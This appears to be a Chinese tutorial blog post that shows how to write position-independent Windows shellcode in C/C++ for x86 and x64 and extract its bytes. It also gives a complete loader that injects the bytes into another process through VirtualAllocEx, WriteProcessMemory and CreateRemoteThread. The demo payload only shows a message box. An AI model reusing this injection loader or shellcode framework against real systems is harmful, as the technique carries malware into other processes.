C/C++实现ShellCode编写与提取

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简单来说，shellcode的核心就是把代码写成“与地址无关”的风格，让它不论是在什么环境下都可以被执行，此段代码可实现C++开发shellcode代码，并提取出其中的机器码的作用。

简单来说，shell code 的核心就是把代码写成 “与地址无关” 的风格，让它不论是在什么环境下都可以被执行，此段代码可实现C++开发shellcode代码，并提取出其中的机器码的作用。

  • 具体注意：
  • 使用 API 时应该动态调用（GetProAddress）
  • 不能使用全局变量，或者用 static 修饰的变量
  • 在 shellcode 工程中要自定义入口函数
  • 确保调用 API 之前都已经加载了与之对应的 DLL
  • 所有的字符串都要用字符串数组的方式代替

环境搭建

首先新建一个项目，这里我推荐 空项目，之后创建一个 main.cpp 文件：

使用 Release 模式写代码，这是因为 Debug 模式下的代码在转换成汇编后首先都是一个 jmp，然后再跳到我们的功能代码处，但 jmp 指令是 “地址相关” 的 ，所以在转换成 shellcode 时就会出错！

修改项目属性：

高级配置

编写 ShellCode

32位

#include <windows.h>

FARPROC  getProcAddress(HMODULE hModuleBase);
DWORD getKernel32();

int EntryMain()
{
    // get function address ：GetProcAddress
    typedef FARPROC(WINAPI* FN_GetProcAddress)(
        _In_ HMODULE hModule,
        _In_ LPCSTR lpProcName
        );
    FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());

    // get function address ：LoadLibraryW
    typedef HMODULE(WINAPI* FN_LoadLibraryW)(
        _In_ LPCWSTR lpLibFileName
        );
    char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };
    FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);

    // get function address ：MessageBoxW
    typedef int (WINAPI* FN_MessageBoxW)(
        _In_opt_ HWND hWnd,
        _In_opt_ LPCWSTR lpText,
        _In_opt_ LPCWSTR lpCaption,
        _In_ UINT uType);
    wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
    char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };
    FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
    
    // shellcode test
    wchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };
    wchar_t xy_tip[] = { 'T','E','S','T',0 };
    fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);


    return 0;
}

// get module base ：kernel32.dll
__declspec(naked) DWORD getKernel32()
{
    __asm
    {
        mov eax, fs: [30h]
        mov eax, [eax + 0ch]
        mov eax, [eax + 14h]
        mov eax, [eax]
        mov eax, [eax]
        mov eax, [eax + 10h]
        ret
    }
}

// get function address ：GetProcAddress
FARPROC getProcAddress(HMODULE hModuleBase)
{
    PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
    PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
    if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
        return NULL;
    }
    if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
        return NULL;
    }
    PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
    PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
    PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);

    DWORD dwLoop = 0;
    FARPROC pRet = NULL;
    for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
        char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);

        if (pFunName[0] == 'G' &&
            pFunName[1] == 'e' &&
            pFunName[2] == 't' &&
            pFunName[3] == 'P' &&
            pFunName[4] == 'r' &&
            pFunName[5] == 'o' &&
            pFunName[6] == 'c' &&
            pFunName[7] == 'A' &&
            pFunName[8] == 'd' &&
            pFunName[9] == 'd' &&
            pFunName[10] == 'r' &&
            pFunName[11] == 'e' &&
            pFunName[12] == 's' &&
            pFunName[13] == 's')
        {
            pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
            break;
        }
    }
    return pRet;
}

64位： x64.asm 具体设置参考：https://blog.csdn.net/Simon798/article/details/107051541

.code
getKernel32		proc
	mov rax,gs:[60h]
	mov rax,[rax+18h]
	mov rax,[rax+30h]
	mov rax,[rax]
	mov rax,[rax]
	mov rax,[rax+10h]
	ret
getKernel32		endp
end

main.cpp

#include <windows.h>

FARPROC  getProcAddress(HMODULE hModuleBase);
extern "C" PVOID64  getKernel32();

int EntryMain()
{
    // get function address ：GetProcAddress
    typedef FARPROC(WINAPI* FN_GetProcAddress)(
        _In_ HMODULE hModule,
        _In_ LPCSTR lpProcName
        );
    FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());

    // get function address ：LoadLibraryW
    typedef HMODULE(WINAPI* FN_LoadLibraryW)(
        _In_ LPCWSTR lpLibFileName
        );
    char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };
    FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);

    // get function address ：MessageBoxW
    typedef int (WINAPI* FN_MessageBoxW)(
        _In_opt_ HWND hWnd,
        _In_opt_ LPCWSTR lpText,
        _In_opt_ LPCWSTR lpCaption,
        _In_ UINT uType);
    wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
    char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };
    FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
    
    // shellcode test
    wchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };
    wchar_t xy_tip[] = { 'T','E','S','T',0 };
    fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);

    Sleep(10000);
    return 0;
}


// get function address ：GetProcAddress
FARPROC getProcAddress(HMODULE hModuleBase)
{
    PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
    PIMAGE_NT_HEADERS64 lpNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)hModuleBase + lpDosHeader->e_lfanew);
    if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
        return NULL;
    }
    if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
        return NULL;
    }
    PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((ULONG64)hModuleBase + (ULONG64)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    PDWORD lpdwFunName = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNames);
    PWORD lpword = (PWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNameOrdinals);
    PDWORD  lpdwFunAddr = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfFunctions);

    DWORD dwLoop = 0;
    FARPROC pRet = NULL;
    for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
        char* pFunName = (char*)(lpdwFunName[dwLoop] + (ULONG64)hModuleBase);

        if (pFunName[0] == 'G' &&
            pFunName[1] == 'e' &&
            pFunName[2] == 't' &&
            pFunName[3] == 'P' &&
            pFunName[4] == 'r' &&
            pFunName[5] == 'o' &&
            pFunName[6] == 'c' &&
            pFunName[7] == 'A' &&
            pFunName[8] == 'd' &&
            pFunName[9] == 'd' &&
            pFunName[10] == 'r' &&
            pFunName[11] == 'e' &&
            pFunName[12] == 's' &&
            pFunName[13] == 's')
        {
            pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (ULONG64)hModuleBase);
            break;
        }
    }
    return pRet;
}

提取 ShellCode

打开 studyPE ，拖入编译后的 exe，记录代码段文件偏移：

打开 C32Asm，拖入 exe，转到文件偏移处，拷贝一段连续的 hex 码：

这就是我们需要的 ShellCode 了 (oﾟvﾟ)ノ

使用 ShellCode

写一个 Shell Code 加载器：

#include <windows.h>
#include <iostream>
using namespace std;


// x86 shellcode
UCHAR shellcode[] = { 0x55,  0x8B,  0xEC,  0x83,  0xEC,  0x5C,  0x53,  0x56,  0x57,  0xE8,  0x72,  0x01,  0x00,  0x00,  0x8B,  0xD0,  0x33,  0xDB,  0x8B,  0x42,  0x3C,  0x39,  0x5C,  0x10,  0x7C,  0x0F,  0x84,  0x9F,  0x00,  0x00,  0x00,  0x8B,  0x74,  0x10,  0x78,  0x85,  0xF6,  0x0F,  0x84,  0x93,  0x00,  0x00,  0x00,  0x8B,  0x44,  0x16,  0x24,  0x33,  0xC9,  0x8B,  0x7C,  0x16,  0x20,  0x03,  0xC2,  0x89,  0x45,  0xFC,  0x03,  0xFA,  0x8B,  0x44,  0x16,  0x1C,  0x8B,  0x74,  0x16,  0x18,  0x03,  0xC2,  0x89,  0x45,  0xF8,  0x4E,  0x66,  0x0F,  0x1F,  0x44,  0x00,  0x00,  0x8B,  0x04,  0x8F,  0x03,  0xC2,  0x80,  0x38,  0x47,  0x75,  0x4E,  0x80,  0x78,  0x01,  0x65,  0x75,  0x48,  0x80,  0x78,  0x02,  0x74,  0x75,  0x42,  0x80,  0x78,  0x03,  0x50,  0x75,  0x3C,  0x80,  0x78,  0x04,  0x72,  0x75,  0x36,  0x80,  0x78,  0x05,  0x6F,  0x75,  0x30,  0x80,  0x78,  0x06,  0x63,  0x75,  0x2A,  0x80,  0x78,  0x07,  0x41,  0x75,  0x24,  0x80,  0x78,  0x08,  0x64,  0x75,  0x1E,  0x80,  0x78,  0x09,  0x64,  0x75,  0x18,  0x80,  0x78,  0x0A,  0x72,  0x75,  0x12,  0x80,  0x78,  0x0B,  0x65,  0x75,  0x0C,  0x80,  0x78,  0x0C,  0x73,  0x75,  0x06,  0x80,  0x78,  0x0D,  0x73,  0x74,  0x07,  0x41,  0x3B,  0xCE,  0x76,  0xA3,  0xEB,  0x0F,  0x8B,  0x45,  0xFC,  0x8B,  0x5D,  0xF8,  0x0F,  0xB7,  0x04,  0x48,  0x8B,  0x1C,  0x83,  0x03,  0xDA,  0x8D,  0x45,  0xD0,  0xC7,  0x45,  0xD0,  0x4C,  0x6F,  0x61,  0x64,  0x50,  0xC7,  0x45,  0xD4,  0x4C,  0x69,  0x62,  0x72,  0xC7,  0x45,  0xD8,  0x61,  0x72,  0x79,  0x57,  0xC6,  0x45,  0xDC,  0x00,  0xE8,  0xA0,  0x00,  0x00,  0x00,  0x50,  0xFF,  0xD3,  0x33,  0xC9,  0xC7,  0x45,  0xA4,  0x75,  0x00,  0x73,  0x00,  0x66,  0x89,  0x4D,  0xB8,  0x8D,  0x4D,  0xE0,  0x51,  0x8D,  0x4D,  0xA4,  0xC7,  0x45,  0xA8,  0x65,  0x00,  0x72,  0x00,  0x51,  0xC7,  0x45,  0xAC,  0x33,  0x00,  0x32,  0x00,  0xC7,  0x45,  0xB0,  0x2E,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xB4,  0x6C,  0x00,  0x6C,  0x00,  0xC7,  0x45,  0xE0,  0x4D,  0x65,  0x73,  0x73,  0xC7,  0x45,  0xE4,  0x61,  0x67,  0x65,  0x42,  0xC7,  0x45,  0xE8,  0x6F,  0x78,  0x57,  0x00,  0xFF,  0xD0,  0x50,  0xFF,  0xD3,  0x33,  0xC9,  0xC7,  0x45,  0xBC,  0x53,  0x00,  0x68,  0x00,  0x51,  0x66,  0x89,  0x4D,  0xF4,  0x8D,  0x4D,  0xEC,  0x51,  0x8D,  0x4D,  0xBC,  0xC7,  0x45,  0xC0,  0x65,  0x00,  0x6C,  0x00,  0x51,  0x6A,  0x00,  0xC7,  0x45,  0xC4,  0x6C,  0x00,  0x63,  0x00,  0xC7,  0x45,  0xC8,  0x6F,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xCC,  0x65,  0x00,  0x00,  0x00,  0xC7,  0x45,  0xEC,  0x4C,  0x00,  0x59,  0x00,  0xC7,  0x45,  0xF0,  0x53,  0x00,  0x4D,  0x00,  0xFF,  0xD0,  0x5F,  0x5E,  0x33,  0xC0,  0x5B,  0x8B,  0xE5,  0x5D,  0xC3,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0x64,  0xA1,  0x30,  0x00,  0x00,  0x00,  0x8B,  0x40,  0x0C,  0x8B,  0x40,  0x14,  0x8B,  0x00,  0x8B,  0x00,  0x8B,  0x40,  0x10,  0xC3,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00,  0x00};

// x64 shellcode
/*UCHAR shellcode[] = { 0x48,  0x89,  0x5C,  0x24,  0x08,  0x48,  0x89,  0x74,  0x24,  0x10,  0x48,  0x89,  0x7C,  0x24,  0x18,  0x55,  0x41,  0x56,  0x41,  0x57,  0x48,  0x8B,  0xEC,  0x48,  0x81,  0xEC,  0x80,  0x00,  0x00,  0x00,  0xE8,  0x9D,  0x01,  0x00,  0x00,  0x4C,  0x8B,  0xC0,  0x33,  0xDB,  0x8B,  0xFB,  0x48,  0x63,  0x40,  0x3C,  0x42,  0x39,  0x9C,  0x00,  0x8C,  0x00,  0x00,  0x00,  0x0F,  0x84,  0xA7,  0x00,  0x00,  0x00,  0x42,  0x8B,  0x8C,  0x00,  0x88,  0x00,  0x00,  0x00,  0x85,  0xC9,  0x0F,  0x84,  0x97,  0x00,  0x00,  0x00,  0x45,  0x8B,  0x54,  0x08,  0x24,  0x49,  0x8D,  0x04,  0x08,  0x41,  0x8B,  0x4C,  0x08,  0x20,  0x4D,  0x03,  0xD0,  0x44,  0x8B,  0x58,  0x1C,  0x49,  0x03,  0xC8,  0x44,  0x8B,  0x48,  0x18,  0x4D,  0x03,  0xD8,  0x41,  0xFF,  0xC9,  0x8B,  0xD3,  0x8B,  0x01,  0x49,  0x03,  0xC0,  0x80,  0x38,  0x47,  0x75,  0x4E,  0x80,  0x78,  0x01,  0x65,  0x75,  0x48,  0x80,  0x78,  0x02,  0x74,  0x75,  0x42,  0x80,  0x78,  0x03,  0x50,  0x75,  0x3C,  0x80,  0x78,  0x04,  0x72,  0x75,  0x36,  0x80,  0x78,  0x05,  0x6F,  0x75,  0x30,  0x80,  0x78,  0x06,  0x63,  0x75,  0x2A,  0x80,  0x78,  0x07,  0x41,  0x75,  0x24,  0x80,  0x78,  0x08,  0x64,  0x75,  0x1E,  0x80,  0x78,  0x09,  0x64,  0x75,  0x18,  0x80,  0x78,  0x0A,  0x72,  0x75,  0x12,  0x80,  0x78,  0x0B,  0x65,  0x75,  0x0C,  0x80,  0x78,  0x0C,  0x73,  0x75,  0x06,  0x80,  0x78,  0x0D,  0x73,  0x74,  0x0D,  0xFF,  0xC2,  0x48,  0x83,  0xC1,  0x04,  0x41,  0x3B,  0xD1,  0x76,  0x9D,  0xEB,  0x0E,  0x8B,  0xC2,  0x41,  0x0F,  0xB7,  0x0C,  0x42,  0x41,  0x8B,  0x3C,  0x8B,  0x49,  0x03,  0xF8,  0xC7,  0x45,  0xC0,  0x4C,  0x6F,  0x61,  0x64,  0xC7,  0x45,  0xC4,  0x4C,  0x69,  0x62,  0x72,  0xC7,  0x45,  0xC8,  0x61,  0x72,  0x79,  0x57,  0xC6,  0x45,  0xCC,  0x00,  0xE8,  0xBF,  0x00,  0x00,  0x00,  0x48,  0x8B,  0xC8,  0x48,  0x8D,  0x55,  0xC0,  0xFF,  0xD7,  0x48,  0x8D,  0x4D,  0xE8,  0xC7,  0x45,  0xE8,  0x75,  0x00,  0x73,  0x00,  0xC7,  0x45,  0xEC,  0x65,  0x00,  0x72,  0x00,  0xC7,  0x45,  0xF0,  0x33,  0x00,  0x32,  0x00,  0xC7,  0x45,  0xF4,  0x2E,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xF8,  0x6C,  0x00,  0x6C,  0x00,  0x66,  0x89,  0x5D,  0xFC,  0xC7,  0x45,  0xB0,  0x4D,  0x65,  0x73,  0x73,  0xC7,  0x45,  0xB4,  0x61,  0x67,  0x65,  0x42,  0xC7,  0x45,  0xB8,  0x6F,  0x78,  0x57,  0x00,  0xFF,  0xD0,  0x48,  0x8B,  0xC8,  0x48,  0x8D,  0x55,  0xB0,  0xFF,  0xD7,  0x45,  0x33,  0xC9,  0xC7,  0x45,  0xD0,  0x53,  0x00,  0x68,  0x00,  0x4C,  0x8D,  0x45,  0xA0,  0xC7,  0x45,  0xD4,  0x65,  0x00,  0x6C,  0x00,  0x48,  0x8D,  0x55,  0xD0,  0xC7,  0x45,  0xD8,  0x6C,  0x00,  0x63,  0x00,  0x33,  0xC9,  0xC7,  0x45,  0xDC,  0x6F,  0x00,  0x64,  0x00,  0xC7,  0x45,  0xE0,  0x65,  0x00,  0x00,  0x00,  0xC7,  0x45,  0xA0,  0x4C,  0x00,  0x59,  0x00,  0xC7,  0x45,  0xA4,  0x53,  0x00,  0x4D,  0x00,  0x66,  0x89,  0x5D,  0xA8,  0xFF,  0xD0,  0x4C,  0x8D,  0x9C,  0x24,  0x80,  0x00,  0x00,  0x00,  0x33,  0xC0,  0x49,  0x8B,  0x5B,  0x20,  0x49,  0x8B,  0x73,  0x28,  0x49,  0x8B,  0x7B,  0x30,  0x49,  0x8B,  0xE3,  0x41,  0x5F,  0x41,  0x5E,  0x5D,  0xC3,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0xCC,  0x65,  0x48,  0x8B,  0x04,  0x25,  0x60,  0x00,  0x00,  0x00,  0x48,  0x8B,  0x40,  0x18,  0x48,  0x8B,  0x40,  0x30,  0x48,  0x8B,  0x00,  0x48,  0x8B,  0x00,  0x48,  0x8B,  0x40,  0x10,  0xC3,  0x00,  0x00,  0x00,  0x00};*/
int main()
{

    // some variables statement
    DWORD targetPid = 0;
    HANDLE h_target = NULL;
    LPVOID p_base = NULL;
    HANDLE h_thread = NULL;

    // get target process handle
    cout << "input target process id:";
    cin >> targetPid;
    h_target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
    if (h_target == NULL) {
        cout << "OpenProcess failed." << endl;
        goto main_end;
    }

    // request memory in target process 
    p_base  = VirtualAllocEx(h_target, NULL, sizeof(shellcode), MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
    if (p_base == NULL) {
        cout << "VirtualAllocEx failed." << endl;
        goto main_end;
    }

    // write shellcode in requested memory
    if (!WriteProcessMemory(h_target, p_base, (LPVOID)shellcode, sizeof(shellcode), NULL)) {
        cout << "WriteProcessMemory failed." << endl;
        goto main_end;
    }

    // create thread and execute shellcode
    h_thread = CreateRemoteThread(h_target, 0, 0,(LPTHREAD_START_ROUTINE)p_base, NULL, 0, NULL);
    if (h_thread == NULL) {
        cout << "CreateRemoteThread failed." << endl;
        goto main_end;
    }

main_end:
    
    // when MessageBox appears but you don't click the button,
    // now , call VirtualFreeEx to free memory then click button will lead target procedure to breakdown.
    /*if (p_base) {
        VirtualFreeEx(h_target, p_base, 0, MEM_RELEASE);
    }*/
    if (h_target)
        CloseHandle(h_target);
    if (h_thread)
        CloseHandle(h_thread);
    getchar();
    return 0;
}

测试 shellcode 注入程序成功：